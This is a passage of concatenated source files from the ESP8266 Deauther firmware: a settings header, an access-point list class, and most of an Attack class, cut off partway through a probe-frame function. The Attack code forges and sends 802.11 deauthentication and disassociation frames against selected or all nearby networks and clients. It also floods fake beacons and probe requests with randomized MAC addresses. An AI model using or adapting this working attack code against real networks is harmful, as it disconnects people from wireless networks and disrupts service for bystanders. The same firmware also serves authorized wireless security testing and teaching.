#define LED_MODE_IDLE 0, 255, 0
#define LED_MODE_BRIGHTNESS 10
#define LED_NUM 1
#define LED_MY92_DATA 4
#define LED_MY92_CLK 5
#define LED_MY92_CH_R 0
#define LED_MY92_CH_G 1
#define LED_MY92_CH_B 2
#define LED_MY92_CH_BRIGHTNESS 3
#define LED_MY92_MODEL MY92XX_MODEL_MY9291
#elif defined(AVATAR_5W_E14_LAMP)
// ===== LED ===== //
#define LED_MY92
#define LED_MODE_OFF 0, 0, 0
#define LED_MODE_SCAN 0, 0, 255
#define LED_MODE_ATTACK 255, 0, 0
#define LED_MODE_IDLE 0, 255, 0
#define LED_MODE_BRIGHTNESS 10
#define LED_NUM 1
#define LED_MY92_DATA 13
#define LED_MY92_CLK 15
#define LED_MY92_CH_R 0
#define LED_MY92_CH_G 1
#define LED_MY92_CH_B 2
#define LED_MY92_CH_BRIGHTNESS 3
#define LED_MY92_MODEL MY92XX_MODEL_MY9291
#elif defined(DEFAULT_ESP8266) || defined(NODEMCU) || defined(WEMOS_D1_MINI) || defined(DSTIKE_USB_DEAUTHER) || defined(DSTIKE_NODEMCU_07) || defined(DSTIKE_DEAUTHER_V1) || defined(DSTIKE_DEAUTHER_V2) || defined(DSTIKE_DEAUTHER_V3)
// ===== LED ===== //
// #define LED_DIGITAL
// #define LED_PIN_R 16 // NodeMCU on-board LED
// #define LED_PIN_B 2 // ESP-12 LED
#endif /* if defined(DEFAULT_ESP8266) || defined(NODEMCU) || defined(WEMOS_D1_MINI) || defined(DSTIKE_USB_DEAUTHER) || defined(DSTIKE_NODEMCU_07) || defined(DSTIKE_DEAUTHER) || defined(DSTIKE_DEAUTHER_V1) || defined(DSTIKE_DEAUTHER_V2) || defined(DSTIKE_DEAUTHER_V3) */
// ============================== //
// ========= FALLBACK ========= //
// ===== AUTOSAVE ===== //
#ifndef AUTOSAVE_ENABLED
#define AUTOSAVE_ENABLED true
#endif /* ifndef ATTACK_ALL_CH */
#ifndef AUTOSAVE_TIME
#define AUTOSAVE_TIME 60
#endif /* ifndef ATTACK_ALL_CH */
// ===== ATTACK ===== //
#ifndef ATTACK_ALL_CH
#define ATTACK_ALL_CH false
#endif /* ifndef ATTACK_ALL_CH */
#ifndef RANDOM_TX
#define RANDOM_TX false
#endif /* ifndef RANDOM_TX */
#ifndef ATTACK_TIMEOUT
#define ATTACK_TIMEOUT 600
#endif /* ifndef ATTACK_TIMEOUT */
#ifndef DEAUTHS_PER_TARGET
#define DEAUTHS_PER_TARGET 25
#endif /* ifndef DEAUTHS_PER_TARGET */
#ifndef DEAUTH_REASON
#define DEAUTH_REASON 1
#endif /* ifndef DEAUTH_REASON */
#ifndef BEACON_INTERVAL_100MS
#define BEACON_INTERVAL_100MS true
#endif /* ifndef BEACON_INTERVAL_100MS */
#ifndef PROBE_FRAMES_PER_SSID
#define PROBE_FRAMES_PER_SSID 1
#endif /* ifndef PROBE_FRAMES_PER_SSID */
// ===== SNIFFER ===== //
#ifndef CH_TIME
#define CH_TIME 200
#endif /* ifndef CH_TIME */
#ifndef MIN_DEAUTH_FRAMES
#define MIN_DEAUTH_FRAMES 3
#endif /* ifndef MIN_DEAUTH_FRAMES */
// ===== ACCESS POINT ===== //
#ifndef AP_SSID
#define AP_SSID "pwned"
#endif /* ifndef AP_SSID */
#ifndef AP_PASSWD
#define AP_PASSWD "deauther"
#endif /* ifndef AP_PASSWD */
#ifndef AP_HIDDEN
#define AP_HIDDEN false
#endif /* ifndef AP_HIDDEN */
#ifndef AP_IP_ADDR
#define AP_IP_ADDR { 192, 168, 4, 1 }
#endif /* ifndef AP_IP_ADDR */
// ===== WEB INTERFACE ===== //
#ifndef WEB_ENABLED
#define WEB_ENABLED true
#endif /* ifndef WEB_ENABLED */
#ifndef WEB_CAPTIVE_PORTAL
#define WEB_CAPTIVE_PORTAL false
#endif /* ifndef WEB_CAPTIVE_PORTAL */
#ifndef WEB_USE_SPIFFS
#define WEB_USE_SPIFFS false
#endif /* ifndef WEB_USE_SPIFFS */
#ifndef DEFAULT_LANG
#define DEFAULT_LANG "en"
#endif /* ifndef DEFAULT_LANG */
// ===== CLI ===== //
#ifndef CLI_ENABLED
#define CLI_ENABLED true
#endif /* ifndef CLI_ENABLED */
#ifndef CLI_ECHO
#define CLI_ECHO true
#endif /* ifndef CLI_ECHO */
// =============== LED =============== //
#if defined(LED_NEOPIXEL_RGB) || defined(LED_NEOPIXEL_GRB)
#define LED_NEOPIXEL
#endif /* if defined(LED_NEOPIXEL_RGB) || defined(LED_NEOPIXEL_GRB) */
#if !defined(LED_DIGITAL) && !defined(LED_RGB) && !defined(LED_NEOPIXEL) && !defined(LED_MY92) && !defined(LED_DOTSTAR)
#define LED_DIGITAL
#define USE_LED false
#else // if !defined(LED_DIGITAL) && !defined(LED_RGB) && !defined(LED_NEOPIXEL) && !defined(LED_MY92) && !defined(LED_DOTSTAR)
#define USE_LED true
#endif // if !defined(LED_DIGITAL) && !defined(LED_RGB) && !defined(LED_NEOPIXEL) && !defined(LED_MY92) && !defined(LED_DOTSTAR)
#ifndef LED_PIN_R
#define LED_PIN_R 255
#endif /* ifndef LED_PIN_R */
#ifndef LED_PIN_G
#define LED_PIN_G 255
#endif /* ifndef LED_PIN_G */
#ifndef LED_PIN_B
#define LED_PIN_B 255
#endif /* ifndef LED_PIN_B */
#ifndef LED_ANODE
#define LED_ANODE false
#endif /* ifndef LED_ANODE */
#ifndef LED_MODE_OFF
#define LED_MODE_OFF 0, 0, 0
#endif /* ifndef LED_MODE_OFF */
#ifndef LED_MODE_SCAN
#define LED_MODE_SCAN 0, 0, 255
#endif /* ifndef LED_MODE_SCAN */
#ifndef LED_MODE_ATTACK
#define LED_MODE_ATTACK 255, 0, 0
#endif /* ifndef LED_MODE_ATTACK */
#ifndef LED_MODE_IDLE
#define LED_MODE_IDLE 0, 255, 0
#endif /* ifndef LED_MODE_IDLE */
#ifndef LED_MODE_BRIGHTNESS
#define LED_MODE_BRIGHTNESS 10
#endif /* ifndef LED_MODE_BRIGHTNESS */
// =============== DISPLAY =============== //
#ifndef DISPLAY_TIMEOUT
#define DISPLAY_TIMEOUT 600
#endif /* ifndef DISPLAY_TIMEOUT */
#ifndef DISPLAY_TEXT
#define DISPLAY_TEXT ""
#endif /* ifndef DISPLAY_TEXT */
#ifndef FLIP_DIPLAY
#define FLIP_DIPLAY false
#endif /* ifndef FLIP_DIPLAY */
#if !defined(SSD1306_I2C) && !defined(SSD1306_SPI) && !defined(SH1106_I2C) && !defined(SH1106_SPI)
#define SSD1306_I2C
#define USE_DISPLAY false
#else /* if !defined(SSD1306_I2C) && !defined(SSD1306_SPI) && !defined(SH1106_I2C) && !defined(SH1106_SPI) */
#define USE_DISPLAY true
#endif /* if !defined(SSD1306_I2C) && !defined(SSD1306_SPI) && !defined(SH1106_I2C) && !defined(SH1106_SPI) */
#ifndef I2C_ADDR
#define I2C_ADDR 0x3C
#endif /* ifndef I2C_ADDR */
#ifndef I2C_SDA
#define I2C_SDA 5
#endif /* ifndef I2C_SDA */
#ifndef I2C_SCL
#define I2C_SCL 4
#endif /* ifndef I2C_SCL */
#ifndef SPI_RES
#define SPI_RES 5
#endif /* ifndef SPI_RES */
#ifndef SPI_DC
#define SPI_DC 4
#endif /* ifndef SPI_DC */
#ifndef SPI_CS
#define SPI_CS 15
#endif /* ifndef SPI_CS */
// =============== BUTTONS =============== //
#ifndef BUTTON_UP
#define BUTTON_UP 255
#endif // ifndef BUTTON_UP
#ifndef BUTTON_DOWN
#define BUTTON_DOWN 255
#endif // ifndef BUTTON_DOWN
#ifndef BUTTON_A
#define BUTTON_A 255
#endif // ifndef BUTTON_A
#ifndef BUTTON_B
#define BUTTON_B 255
#endif // ifndef BUTTON_B
// ===== Reset ====== //
#ifndef RESET_BUTTON
#if BUTTON_UP != 0 && BUTTON_DOWN != 0 && BUTTON_A != 0 && BUTTON_B != 0
#define RESET_BUTTON 0
#else // if BUTTON_UP != 0 && BUTTON_DOWN != 0 && BUTTON_A != 0 && BUTTON_B != 0
#define RESET_BUTTON 255
#endif // if BUTTON_UP != 0 && BUTTON_DOWN != 0 && BUTTON_A != 0 && BUTTON_B != 0
#endif // ifndef RESET_BUTTON
// ===== Web ===== //
#ifndef WEB_IP_ADDR
#define WEB_IP_ADDR (192, 168, 4, 1)
#endif // ifndef WEB_IP_ADDR
#ifndef WEB_URL
#define WEB_URL "deauth.me"
#endif // ifndef WEB_URL
// ======== CONSTANTS ========== //
// Do not change these values unless you know what you're doing!
#define DEAUTHER_VERSION "2.6.1"
#define DEAUTHER_VERSION_MAJOR 2
#define DEAUTHER_VERSION_MINOR 6
#define DEAUTHER_VERSION_REVISION 1
#define EEPROM_SIZE 4095
#define BOOT_COUNTER_ADDR 1
#define SETTINGS_ADDR 100
// ======== AVAILABLE SETTINGS ========== //
/*
// ===== ATTACK ===== //
#define ATTACK_ALL_CH false
#define RANDOM_TX false
#define ATTACK_TIMEOUT 600
#define DEAUTHS_PER_TARGET 25
#define DEAUTH_REASON 1
#define BEACON_INTERVAL_100MS true
#define PROBE_FRAMES_PER_SSID 1
// ====== SNIFFER ====== //
#define CH_TIME 200
#define MIN_DEAUTH_FRAMES 3
// ===== ACCESS POINT ===== //
#define AP_SSID "pwned"
#define AP_PASSWD "deauther"
#define AP_HIDDEN false
#define AP_IP_ADDR {192, 168, 4, 1}
// ===== WEB INTERFACE ===== //
#define WEB_ENABLED true
#define WEB_CAPTIVE_PORTAL false
#define WEB_USE_SPIFFS false
#define DEFAULT_LANG "en"
// ===== CLI ===== //
#define CLI_ENABLED true
#define CLI_ECHO true
// ===== LED ===== //
#define USE_LED true
#define LED_DIGITAL
#define LED_RGB
#define LED_NEOPIXEL
#define LED_MY92
#define LED_ANODE false
#define LED_PIN_R 16
#define LED_PIN_G 255
#define LED_PIN_B 2
#define LED_NEOPIXEL_RGB
#define LED_NEOPIXEL_GRB
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 255
#define LED_MODE_OFF 0,0,0
#define LED_MODE_SCAN 0,0,255
#define LED_MODE_ATTACK 255,0,0
#define LED_MODE_IDLE 0,255,0
#define LED_MODE_BRIGHTNESS 10
#define LED_NUM 1
#define LED_MY92_DATA 4
#define LED_MY92_CLK 5
#define LED_MY92_CH_R 0
#define LED_MY92_CH_G 1
#define LED_MY92_CH_B 2
#define LED_MY92_CH_BRIGHTNESS 3
#define LED_MY92_MODEL MY92XX_MODEL_MY9291
#define LED_MY92_MODEL MY92XX_MODEL_MY9231
#define LED_DOTSTAR
#define LED_NUM 1
#define LED_DOTSTAR_CLK 12
#define LED_DOTSTAR_DATA 13
// ===== DISPLAY ===== //
#define USE_DISPLAY false
#define DISPLAY_TIMEOUT 600
#define FLIP_DIPLAY false
#define SSD1306_I2C
#define SSD1306_SPI
#define SH1106_I2C
#define SH1106_SPI
#define I2C_ADDR 0x3C
#define I2C_SDA 5
#define I2C_SCL 4
#define SPI_RES 5
#define SPI_DC 4
#define SPI_CS 15
// ===== BUTTONS ===== //
#define BUTTON_UP 255
#define BUTTON_DOWN 255
#define BUTTON_A 255
#define BUTTON_B 255
// ===== Reset ====== //
#define RESET_BUTTON 5
// ===== Web ===== //
#define WEB_IP_ADDR (192, 168, 4, 1)
#define WEB_URL "deauth.me"
*/
// ========== ERROR CHECKS ========== //
#if LED_MODE_BRIGHTNESS == 0
#error LED_MODE_BRIGHTNESS must not be zero!
#endif /* if LED_MODE_BRIGHTNESS == 0 */
================================================
FILE: esp8266_deauther/Accesspoints.cpp
================================================
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#include "Accesspoints.h"
Accesspoints::Accesspoints() {
list = new SimpleList<AP>;
}
void Accesspoints::sort() {
list->setCompare([](AP& a, AP& b) -> int {
if (WiFi.RSSI(a.id) > WiFi.RSSI(b.id)) return -1;
if (WiFi.RSSI(a.id) == WiFi.RSSI(b.id)) return 0;
return 1;
});
list->sort();
changed = true;
}
void Accesspoints::sortAfterChannel() {
list->setCompare([](AP& a, AP& b) -> int {
if (WiFi.channel(a.id) < WiFi.channel(b.id)) return -1;
if (WiFi.channel(a.id) == WiFi.channel(b.id)) return 0;
return 1;
});
list->sort();
changed = true;
}
void Accesspoints::add(uint8_t id, bool selected) {
list->add(AP{ id, selected });
changed = true;
}
void Accesspoints::printAll() {
prntln(AP_HEADER);
int c = count();
if (c == 0) prntln(AP_LIST_EMPTY);
else
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
}
void Accesspoints::printSelected() {
prntln(AP_HEADER);
int max = selected();
if (selected() == 0) {
prntln(AP_NO_AP_SELECTED);
return;
}
int c = count();
int j = 0;
for (int i = 0; i < c && j < max; i++) {
if (getSelected(i)) {
print(i, j == 0, j == max - 1);
j++;
}
}
}
void Accesspoints::print(int num) {
print(num, true, true);
}
void Accesspoints::print(int num, bool header, bool footer) {
if (!check(num)) return;
if (header) {
prntln(AP_TABLE_HEADER);
prntln(AP_TABLE_DIVIDER);
}
prnt(leftRight(String(), (String)num, 2));
prnt(leftRight(String(SPACE) + getSSID(num), String(), 33));
prnt(leftRight(String(SPACE) + getNameStr(num), String(), 17));
prnt(leftRight(String(SPACE), (String)getCh(num), 3));
prnt(leftRight(String(SPACE), (String)getRSSI(num), 5));
prnt(leftRight(String(SPACE), getEncStr(num), 5));
prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18));
prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9));
prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9));
if (footer) {
prntln(AP_TABLE_DIVIDER);
}
}
String Accesspoints::getSSID(int num) {
if (!check(num)) return String();
if (getHidden(num)) {
return str(AP_HIDDE_SSID);
} else {
String ssid = WiFi.SSID(getID(num));
ssid = ssid.substring(0, 32);
ssid = fixUtf8(ssid);
return ssid;
}
}
String Accesspoints::getNameStr(int num) {
if (!check(num)) return String();
return names.find(getMac(num));
}
uint8_t Accesspoints::getCh(int num) {
if (!check(num)) return 0;
return WiFi.channel(getID(num));
}
int Accesspoints::getRSSI(int num) {
if (!check(num)) return 0;
return WiFi.RSSI(getID(num));
}
uint8_t Accesspoints::getEnc(int num) {
if (!check(num)) return 0;
return WiFi.encryptionType(getID(num));
}
String Accesspoints::getEncStr(int num) {
if (!check(num)) return String();
switch (getEnc(num)) {
case ENC_TYPE_NONE:
return String(DASH);
break;
case ENC_TYPE_WEP:
return str(AP_WEP);
break;
case ENC_TYPE_TKIP:
return str(AP_WPA);
break;
case ENC_TYPE_CCMP:
return str(AP_WPA2);
break;
case ENC_TYPE_AUTO:
return str(AP_AUTO);
break;
}
return String(QUESTIONMARK);
}
String Accesspoints::getSelectedStr(int num) {
return b2a(getSelected(num));
}
uint8_t* Accesspoints::getMac(int num) {
if (!check(num)) return 0;
return WiFi.BSSID(getID(num));
}
String Accesspoints::getMacStr(int num) {
if (!check(num)) return String();
uint8_t* mac = getMac(num);
return bytesToStr(mac, 6);
}
String Accesspoints::getVendorStr(int num) {
if (!check(num)) return String();
return searchVendor(getMac(num));
}
bool Accesspoints::getHidden(int num) {
if (!check(num)) return false;
return WiFi.isHidden(getID(num));
}
bool Accesspoints::getSelected(int num) {
if (!check(num)) return false;
return list->get(num).selected;
}
uint8_t Accesspoints::getID(int num) {
if (!check(num)) return -1;
return list->get(num).id;
}
void Accesspoints::select(int num) {
if (!check(num)) return;
internal_select(num);
prnt(AP_SELECTED);
prntln(getSSID(num));
changed = true;
}
void Accesspoints::deselect(int num) {
if (!check(num)) return;
internal_deselect(num);
prnt(AP_DESELECTED);
prntln(getSSID(num));
changed = true;
}
void Accesspoints::remove(int num) {
if (!check(num)) return;
prnt(AP_REMOVED);
prntln(getSSID(num));
internal_remove(num);
changed = true;
}
void Accesspoints::select(String ssid) {
for (int i = 0; i < list->size(); i++) {
if (getSSID(i).equalsIgnoreCase(ssid)) select(i);
}
}
void Accesspoints::deselect(String ssid) {
for (int i = 0; i < list->size(); i++) {
if (getSSID(i).equalsIgnoreCase(ssid)) deselect(i);
}
}
void Accesspoints::remove(String ssid) {
for (int i = 0; i < list->size(); i++) {
if (getSSID(i).equalsIgnoreCase(ssid)) remove(i);
}
}
void Accesspoints::selectAll() {
for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, true });
prntln(AP_SELECTED_ALL);
changed = true;
}
void Accesspoints::deselectAll() {
for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, false });
prntln(AP_DESELECTED_ALL);
changed = true;
}
void Accesspoints::removeAll() {
while (count() > 0) internal_remove(0);
prntln(AP_REMOVED_ALL);
changed = true;
}
int Accesspoints::find(uint8_t id) {
int s = list->size();
for (int i = 0; i < s; i++) {
if (list->get(i).id == id) return i;
}
return -1;
}
int Accesspoints::count() {
return list->size();
}
int Accesspoints::selected() {
int c = 0;
for (int i = 0; i < list->size(); i++) c += list->get(i).selected;
return c;
}
bool Accesspoints::check(int num) {
if (internal_check(num)) return true;
prnt(AP_NO_AP_ERROR);
prntln((String)num);
return false;
}
bool Accesspoints::internal_check(int num) {
return num >= 0 && num < count();
}
void Accesspoints::internal_select(int num) {
list->replace(num, AP{ list->get(num).id, true });
}
void Accesspoints::internal_deselect(int num) {
list->replace(num, AP{ list->get(num).id, false });
}
void Accesspoints::internal_remove(int num) {
list->remove(num);
}
================================================
FILE: esp8266_deauther/Accesspoints.h
================================================
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#pragma once
#include "Arduino.h"
#include <ESP8266WiFi.h>
extern "C" {
#include "user_interface.h"
}
#include "language.h"
#include "SimpleList.h"
#include "Names.h"
extern Names names;
extern String searchVendor(uint8_t* mac);
extern String leftRight(String a, String b, int len);
extern String fixUtf8(String str);
extern String bytesToStr(const uint8_t* b, uint32_t size);
struct AP {
uint8_t id;
bool selected;
};
class Accesspoints {
public:
Accesspoints();
void sort();
void sortAfterChannel();
void add(uint8_t id, bool selected);
void print(int num);
void print(int num, bool header, bool footer);
void select(int num);
void deselect(int num);
void remove(int num);
void select(String ssid);
void deselect(String ssid);
void remove(String ssid);
void printAll();
void printSelected();
void selectAll();
void deselectAll();
void removeAll();
String getSSID(int num);
String getNameStr(int num);
String getEncStr(int num);
String getMacStr(int num);
String getVendorStr(int num);
String getSelectedStr(int num);
uint8_t getCh(int num);
uint8_t getEnc(int num);
uint8_t getID(int num);
int getRSSI(int num);
uint8_t* getMac(int num);
bool getHidden(int num);
bool getSelected(int num);
int find(uint8_t id);
int count();
int selected();
bool check(int num);
bool changed = false;
private:
SimpleList<AP>* list;
bool internal_check(int num);
void internal_select(int num);
void internal_deselect(int num);
void internal_remove(int num);
};
================================================
FILE: esp8266_deauther/Attack.cpp
================================================
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#include "Attack.h"
#include "settings.h"
Attack::Attack() {
getRandomMac(mac);
if (settings::getAttackSettings().beacon_interval == INTERVAL_1S) {
// 1s beacon interval
beaconPacket[32] = 0xe8;
beaconPacket[33] = 0x03;
} else {
// 100ms beacon interval
beaconPacket[32] = 0x64;
beaconPacket[33] = 0x00;
}
deauth.time = currentTime;
beacon.time = currentTime;
probe.time = currentTime;
}
void Attack::start() {
stop();
prntln(A_START);
attackTime = currentTime;
attackStartTime = currentTime;
accesspoints.sortAfterChannel();
stations.sortAfterChannel();
running = true;
}
void Attack::start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout) {
Attack::beacon.active = beacon;
Attack::deauth.active = deauth || deauthAll;
Attack::deauthAll = deauthAll;
Attack::probe.active = probe;
Attack::output = output;
Attack::timeout = timeout;
// if (((beacon || probe) && ssids.count() > 0) || (deauthAll && scan.countAll() > 0) || (deauth &&
// scan.countSelected() > 0)){
if (beacon || probe || deauthAll || deauth) {
start();
} else {
prntln(A_NO_MODE_ERROR);
accesspoints.sort();
stations.sort();
stop();
}
}
void Attack::stop() {
if (running) {
running = false;
deauthPkts = 0;
beaconPkts = 0;
probePkts = 0;
deauth.packetCounter = 0;
beacon.packetCounter = 0;
probe.packetCounter = 0;
deauth.maxPkts = 0;
beacon.maxPkts = 0;
probe.maxPkts = 0;
packetRate = 0;
deauth.tc = 0;
beacon.tc = 0;
probe.tc = 0;
deauth.active = false;
beacon.active = false;
probe.active = false;
prntln(A_STOP);
}
}
bool Attack::isRunning() {
return running;
}
void Attack::updateCounter() {
// stop when timeout is active and time is up
if ((timeout > 0) && (currentTime - attackStartTime >= timeout)) {
prntln(A_TIMEOUT);
stop();
return;
}
// deauth packets per second
if (deauth.active) {
if (deauthAll) deauth.maxPkts = settings::getAttackSettings().deauths_per_target *
(accesspoints.count() + stations.count() * 2 - names.selected());
else deauth.maxPkts = settings::getAttackSettings().deauths_per_target *
(accesspoints.selected() + stations.selected() * 2 + names.selected() + names.stations());
} else {
deauth.maxPkts = 0;
}
// beacon packets per second
if (beacon.active) {
beacon.maxPkts = ssids.count();
if (settings::getAttackSettings().beacon_interval == INTERVAL_100MS) beacon.maxPkts *= 10;
} else {
beacon.maxPkts = 0;
}
// probe packets per second
if (probe.active) probe.maxPkts = ssids.count() * settings::getAttackSettings().probe_frames_per_ssid;
else probe.maxPkts = 0;
// random transmission power
if (settings::getAttackSettings().random_tx && (beacon.active || probe.active)) setOutputPower(random(21));
else setOutputPower(20.5f);
// reset counters
deauthPkts = deauth.packetCounter;
beaconPkts = beacon.packetCounter;
probePkts = probe.packetCounter;
packetRate = tmpPacketRate;
deauth.packetCounter = 0;
beacon.packetCounter = 0;
probe.packetCounter = 0;
deauth.tc = 0;
beacon.tc = 0;
probe.tc = 0;
tmpPacketRate = 0;
}
void Attack::status() {
char s[120];
sprintf(s, str(
A_STATUS).c_str(), packetRate, deauthPkts, deauth.maxPkts, beaconPkts, beacon.maxPkts, probePkts,
probe.maxPkts);
prnt(String(s));
}
String Attack::getStatusJSON() {
String json = String(OPEN_BRACKET); // [
json += String(OPEN_BRACKET) + b2s(deauth.active) + String(COMMA) + String(scan.countSelected()) + String(COMMA) +
String(deauthPkts) + String(COMMA) + String(deauth.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
json += String(OPEN_BRACKET) + b2s(beacon.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(
beaconPkts) + String(COMMA) + String(beacon.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
json += String(OPEN_BRACKET) + b2s(probe.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(
probePkts) + String(COMMA) + String(probe.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
json += String(packetRate); // 0
json += CLOSE_BRACKET; // ]
return json;
}
void Attack::update() {
if (!running || scan.isScanning()) return;
apCount = accesspoints.count();
stCount = stations.count();
nCount = names.count();
// run/update all attacks
deauthUpdate();
deauthAllUpdate();
beaconUpdate();
probeUpdate();
// each second
if (currentTime - attackTime > 1000) {
attackTime = currentTime; // update time
updateCounter();
if (output) status(); // status update
getRandomMac(mac); // generate new random mac
}
}
void Attack::deauthUpdate() {
if (!deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) {
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
// APs
if ((apCount > 0) && (deauth.tc < apCount)) {
if (accesspoints.getSelected(deauth.tc)) {
deauth.tc += deauthAP(deauth.tc);
} else deauth.tc++;
}
// Stations
else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) {
if (stations.getSelected(deauth.tc - apCount)) {
deauth.tc += deauthStation(deauth.tc - apCount);
} else deauth.tc++;
}
// Names
else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < nCount + stCount + apCount)) {
if (names.getSelected(deauth.tc - stCount - apCount)) {
deauth.tc += deauthName(deauth.tc - stCount - apCount);
} else deauth.tc++;
}
// reset counter
if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0;
}
}
}
void Attack::deauthAllUpdate() {
if (deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) {
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
// APs
if ((apCount > 0) && (deauth.tc < apCount)) {
tmpID = names.findID(accesspoints.getMac(deauth.tc));
if (tmpID < 0) {
deauth.tc += deauthAP(deauth.tc);
} else if (!names.getSelected(tmpID)) {
deauth.tc += deauthAP(deauth.tc);
} else deauth.tc++;
}
// Stations
else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) {
tmpID = names.findID(stations.getMac(deauth.tc - apCount));
if (tmpID < 0) {
deauth.tc += deauthStation(deauth.tc - apCount);
} else if (!names.getSelected(tmpID)) {
deauth.tc += deauthStation(deauth.tc - apCount);
} else deauth.tc++;
}
// Names
else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < apCount + stCount + nCount)) {
if (!names.getSelected(deauth.tc - apCount - stCount)) {
deauth.tc += deauthName(deauth.tc - apCount - stCount);
} else deauth.tc++;
}
// reset counter
if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0;
}
}
}
void Attack::probeUpdate() {
if (probe.active && (probe.maxPkts > 0) && (probe.packetCounter < probe.maxPkts)) {
if (probe.time <= currentTime - (1000 / probe.maxPkts)) {
if (settings::getAttackSettings().attack_all_ch) setWifiChannel(probe.tc % 11, true);
probe.tc += sendProbe(probe.tc);
if (probe.tc >= ssids.count()) probe.tc = 0;
}
}
}
void Attack::beaconUpdate() {
if (beacon.active && (beacon.maxPkts > 0) && (beacon.packetCounter < beacon.maxPkts)) {
if (beacon.time <= currentTime - (1000 / beacon.maxPkts)) {
beacon.tc += sendBeacon(beacon.tc);
if (beacon.tc >= ssids.count()) beacon.tc = 0;
}
}
}
bool Attack::deauthStation(int num) {
return deauthDevice(stations.getAPMac(num), stations.getMac(num), settings::getAttackSettings().deauth_reason, stations.getCh(num));
}
bool Attack::deauthAP(int num) {
return deauthDevice(accesspoints.getMac(num), broadcast, settings::getAttackSettings().deauth_reason, accesspoints.getCh(num));
}
bool Attack::deauthName(int num) {
if (names.isStation(num)) {
return deauthDevice(names.getBssid(num), names.getMac(num), settings::getAttackSettings().deauth_reason, names.getCh(num));
} else {
return deauthDevice(names.getMac(num), broadcast, settings::getAttackSettings().deauth_reason, names.getCh(num));
}
}
bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch) {
if (!stMac) return false; // exit when station mac is null
// Serial.println("Deauthing "+macToStr(apMac)+" -> "+macToStr(stMac)); // for debugging
bool success = false;
// build deauth packet
packetSize = sizeof(deauthPacket);
uint8_t deauthpkt[packetSize];
memcpy(deauthpkt, deauthPacket, packetSize);
memcpy(&deauthpkt[4], stMac, 6);
memcpy(&deauthpkt[10], apMac, 6);
memcpy(&deauthpkt[16], apMac, 6);
deauthpkt[24] = reason;
// send deauth frame
deauthpkt[0] = 0xc0;
if (sendPacket(deauthpkt, packetSize, ch, true)) {
success = true;
deauth.packetCounter++;
}
// send disassociate frame
uint8_t disassocpkt[packetSize];
memcpy(disassocpkt, deauthpkt, packetSize);
disassocpkt[0] = 0xa0;
if (sendPacket(disassocpkt, packetSize, ch, false)) {
success = true;
deauth.packetCounter++;
}
// send another packet, this time from the station to the accesspoint
if (!macBroadcast(stMac)) { // but only if the packet isn't a broadcast
// build deauth packet
memcpy(&disassocpkt[4], apMac, 6);
memcpy(&disassocpkt[10], stMac, 6);
memcpy(&disassocpkt[16], stMac, 6);
// send deauth frame
disassocpkt[0] = 0xc0;
if (sendPacket(disassocpkt, packetSize, ch, false)) {
success = true;
deauth.packetCounter++;
}
// send disassociate frame
disassocpkt[0] = 0xa0;
if (sendPacket(disassocpkt, packetSize, ch, false)) {
success = true;
deauth.packetCounter++;
}
}
if (success) deauth.time = currentTime;
return success;
}
bool Attack::sendBeacon(uint8_t tc) {
if (settings::getAttackSettings().attack_all_ch) setWifiChannel(tc % 11, true);
mac[5] = tc;
return sendBeacon(mac, ssids.getName(tc).c_str(), wifi_channel, ssids.getWPA2(tc));
}
bool Attack::sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2) {
packetSize = sizeof(beaconPacket);
if (wpa2) {
beaconPacket[34] = 0x31;
} else {
beaconPacket[34] = 0x21;
packetSize -= 26;
}
int ssidLen = strlen(ssid);
if (ssidLen > 32) ssidLen = 32;
memcpy(&beaconPacket[10], mac, 6);
memcpy(&beaconPacket[16], mac, 6);
memcpy(&beaconPacket[38], ssid, ssidLen);
beaconPacket[82] = ch;
// =====
uint16_t tmpPacketSize = (packetSize - 32) + ssidLen; // calc size
uint8_t* tmpPacket = new uint8_t[tmpPacketSize]; // create packet buffer
memcpy(&tmpPacket[0], &beaconPacket[0], 38 + ssidLen); // copy first half of packet into buffer
tmpPacket[37] = ssidLen; // update SSID length byte
memcpy(&tmpPacket[38 + ssidLen], &beaconPacket[70], wpa2 ? 39 : 13); // copy second half of packet into buffer
bool success = sendPacket(tmpPacket, tmpPacketSize, ch, false);
if (success) {
beacon.time = currentTime;
beacon.packetCounter++;
}
delete[] tmpPacket; // free memory of allocated buffer
return success;
// =====
}
bool Attack::sendProbe(uint8_t tc) {
if (settings::getAttackSettings().attack_all_ch) setWifiChannel(tc % 11, true);
mac[5] = tc;
return sendProbe(mac, ssids.getName(tc).c_str(), wifi_channel);
}
bool Attack::sendProbe(uint8_t* mac, const char* ssid, uint8_t ch) {
packetSize = sizeof(probePacket);
int ssidLen = strlen(ssid);
if (ssidLen > 32) ssidLen = 32;
memcpy(&probePacket[10], mac, 6);
memcpy(&probePacket[26], ssid, ssidLen);
